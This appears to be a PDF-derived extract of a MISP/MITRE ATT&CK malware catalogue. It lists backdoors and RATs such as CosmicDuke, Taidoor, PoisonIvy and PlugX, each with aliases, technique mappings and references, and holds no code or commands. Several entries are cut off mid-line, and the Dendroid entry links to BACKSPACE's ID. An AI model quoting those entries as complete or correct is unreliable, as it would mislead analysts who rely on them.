• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
CosmicDuke - S0050

[CosmicDuke](https://attack.mitre.org/software/S0050) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. (Citation: F-Secure The Dukes)

The tag is: `misp-galaxy:mitre-malware="CosmicDuke - S0050"`

CosmicDuke - S0050 is also known as:

- CosmicDuke
- TinyBaron
- BotgenStudios
- NemesisGemina

View relationships graph

CosmicDuke - S0050 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001"` with estimative-
Table 6612. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0050">https://attack.mitre.org/software/S0050</a></td>
</tr>
</tbody>
</table>

Doki - S0600

[Doki](https://attack.mitre.org/software/S0600) is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. [Doki](https://attack.mitre.org/software/S0600) was used in conjunction with the [ngrok](https://attack.mitre.org/software/S0508) Mining Botnet in a campaign that targeted Docker servers in cloud platforms. (Citation: Intezer Doki July 20)

The tag is: `misp-galaxy:mitre-malware="Doki - S0600"`

Doki - S0600 is also known as:

- Doki
Doki - S0600 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6613. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0600">https://attack.mitre.org/software/S0600</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/">https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/</a></td>
</tr>
</tbody>
</table>

**HTTPBrowser - S0070**

[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several
threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)

The tag is: misp-galaxy:mitre-malware="HTTPBrowser - S0070"

HTTPBrowser - S0070 is also known as:

- HTTPBrowser
- Token Control
- HttpDump

View relationships graph

HTTPBrowser - S0070 has relationships with:

- similar: misp-galaxy:tool="HTTPBrowser" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6614. Table References
Mivast - S0080

[Mivast](https://attack.mitre.org/software/S0080) is a backdoor that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009). It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)

The tag is: `misp-galaxy:mitre-malware="Mivast - S0080"`

Mivast - S0080 is also known as:

- Mivast

View relationships graph

Mivast - S0080 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 6615. Table References

Links

- [Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the
initial compromise.(Citation: Novetta-Axiom)(Citation: FireEye Hikit Rootkit)

The tag is: misp-galaxy:mitre-malware="Hikit - S0009"

Hikit - S0009 is also known as:

- Hikit

View relationships graph

Hikit - S0009 has relationships with:

- similar: misp-galaxy:tool="Hikit" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 6616. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0009">https://attack.mitre.org/software/S0009</a></td>
</tr>
</tbody>
</table>
Ngrok - S9000

The tag is: misp-galaxy:mitre-malware="Ngrok - S9000"

Ngrok - S9000 is also known as:

• Ngrok

View relationships graph

Ngrok - S9000 has relationships with:

• revoked-by: misp-galaxy:mitre-tool="ngrok - S0508" with estimative-language:likelihood-probability="almost-certain"

Table 6617. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S9000">https://attack.mitre.org/software/S9000</a></td>
</tr>
</tbody>
</table>

Rover - S0090

[Rover](https://attack.mitre.org/software/S0090) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)

The tag is: misp-galaxy:mitre-malware="Rover - S0090"

Rover - S0090 is also known as:

• Rover

View relationships graph

Rover - S0090 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:malpedia="Rover" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 6618. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0090">https://attack.mitre.org/software/S0090</a></td>
</tr>
</tbody>
</table>

Taidoor - S0011

[Taidoor](https://attack.mitre.org/software/S0011) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIIDOOR August 2021) Taidoor has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor)

The tag is: misp-galaxy:mitre-malware="Taidoor - S0011"

Taidoor - S0011 is also known as:

• Taidoor

View relationships graph

Taidoor - S0011 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Taidoor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6619. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0011">https://attack.mitre.org/software/S0011</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a</a></td>
</tr>
</tbody>
</table>
WEBC2 - S0109

[WEBC2](https://attack.mitre.org/software/S0109) is a family of backdoor malware used by [APT1](https://attack.mitre.org/groups/G0006) as early as July 2006. [WEBC2](https://attack.mitre.org/software/S0109) backdoors are designed to retrieve a webpage, with commands hidden in HTML comments or special tags, from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1)

The tag is: `misp-galaxy:mitre-malware="WEBC2 - S0109"`

WEBC2 - S0109 is also known as:

- WEBC2

View relationships graph

WEBC2 - S0109 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with `estimative-language:likelihood-probability="almost-certain"`
- similar: `misp-galaxy:tool="WEBC2"` with `estimative-language:likelihood-probability="likely"`
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with `estimative-language:likelihood-probability="almost-certain"`

Table 6620. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0109">https://attack.mitre.org/software/S0109</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf</a></td>
</tr>
</tbody>
</table>

Derusbi - S0021

[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups. (Citation: Novetta-Axiom)(Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)

The tag is: `misp-galaxy:mitre-malware="Derusbi - S0021"`

Derusbi - S0021 is also known as:

- Derusbi
- PHOTO
Derusbi - S0021 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Derusbi (Windows)" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Derusbi" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
Table 6621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0021">https://attack.mitre.org/software/S0021</a></td>
</tr>
<tr>
<td><a href="https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/">https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/</a></td>
</tr>
</tbody>
</table>

**JPIN - S0201**

[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)

The tag is: misp-galaxy:mitre-malware="JPIN - S0201"

**JPIN - S0201 is also known as:**

- JPIN

View relationships graph

**JPIN - S0201 has relationships with:**


- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-
PoisonIvy - S0012

[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)
The tag is: `misp-galaxy:mitre-malware="PoisonIvy - S0012"`

PoisonIvy - S0012 is also known as:

- PoisonIvy
- Breut
- Poison Ivy
- Darkmoon

View relationships graph

PoisonIvy - S0012 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Rootkit - T1014"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Active Setup - T1547.014"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:tool="Poison Ivy"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:rat="PoisonIvy"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:malpedia="Poison Ivy"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:tool="poisonivy"` with estimative-language:likelihood-probability="likely"
Kevin - S1020

[Kevin](https://attack.mitre.org/software/S1020) is a backdoor implant written in C++ that has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2020, including in operations against organizations in Tunisia.(Citation: Kaspersky Lyceum October 2021)

The tag is: `misp-galaxy:mitre-malware="Kevin - S1020"`

Kevin - S1020 is also known as:

- Kevin

View relationships graph

Kevin - S1020 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

**Table 6624. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1020">https://attack.mitre.org/software/S1020</a></td>
</tr>
</tbody>
</table>

**Nerex - S0210**

[Nerex](https://attack.mitre.org/software/S0210) is a Trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)
The tag is: \textit{misp-galaxy:mitre-malware="Nerex - S0210"}

Nerex - S0210 is also known as:

- Nerex

View relationships graph

Nerex - S0210 has relationships with:

- uses: \textit{misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"}
- uses: \textit{misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"}

\textit{Table 6625. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0210">https://attack.mitre.org/software/S0210</a></td>
</tr>
</tbody>
</table>

\textbf{BACKSPACE - S0031}

[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. (Citation: FireEye APT30)

The tag is: \textit{misp-galaxy:mitre-malware="BACKSPACE - S0031"}

BACKSPACE - S0031 is also known as:

- BACKSPACE
- Lecna

View relationships graph

BACKSPACE - S0031 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="Backspace" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 6626. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0031">https://attack.mitre.org/software/S0031</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

Dendroid - S0301

[Dendroid](https://attack.mitre.org/software/S0031) is an Android remote access tool (RAT) primarily targeting Western countries. The RAT was available for purchase for $300 and came bundled with a utility to inject the RAT into legitimate applications.(Citation: Lookout-Dendroid)

The tag is: `misp-galaxy:mitre-malware="Dendroid - S0301"`

Dendroid - S0301 is also known as:

• Dendroid
Dendroid - S0301 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="Dendroid" with estimative-language:likelihood-probability="likely"

Table 6627. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0301">https://attack.mitre.org/software/S0301</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/blog/2014/03/06/dendroid/">https://blog.lookout.com/blog/2014/03/06/dendroid/</a></td>
</tr>
</tbody>
</table>

**PlugX - S0013**

[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: New DragonOK)(Citation: Dell TG-3390)

The tag is: misp-galaxy:mitre-malware="PlugX - S0013"

PlugX - S0013 is also known as:

- PlugX
- Thoper
- TVT
- DestroyRAT
- Sogu
• Kaba
• Korplug

View relationships graph

PlugX - S0013 has relationships with:

- similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="PlugX" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://labs.lastline.com/an-analysis-of-plugx">http://labs.lastline.com/an-analysis-of-plugx</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0013">https://attack.mitre.org/software/S0013</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html">https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage">https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage</a></td>
</tr>
</tbody>
</table>

**Squirrelwaffle - S1030**

[Squirrelwaffle](https://attack.mitre.org/software/S1030) is a loader that was first seen in September.
2021. It has been used in spam email campaigns to deliver additional malware such as [Cobalt Strike](https://attack.mitre.org/software/S0154) and the [QakBot](https://attack.mitre.org/software/S0650) banking trojan. (Citation: ZScaler Squirrelwaffle Sep 2021) (Citation: Netskope Squirrelwaffle Oct 2021)

The tag is: `misp-galaxy:mitre-malware="Squirrelwaffle - S1030"`

Squirrelwaffle - S1030 is also known as:

- Squirrelwaffle

View relationships graph

Squirrelwaffle - S1030 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"` with estimative-
Fysbis - S0410

[Fysbis](https://attack.mitre.org/software/S0410) is a Linux-based backdoor used by [APT28](https://attack.mitre.org/groups/G0007) that dates back to at least 2014. (Citation: Fysbis Palo Alto Analysis)

The tag is: `misp-galaxy:mitre-malware="Fysbis - S0410"`

Fysbis - S0410 is also known as:

- Fysbis

View relationships graph

Fysbis - S0410 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
Shamoon - S0140

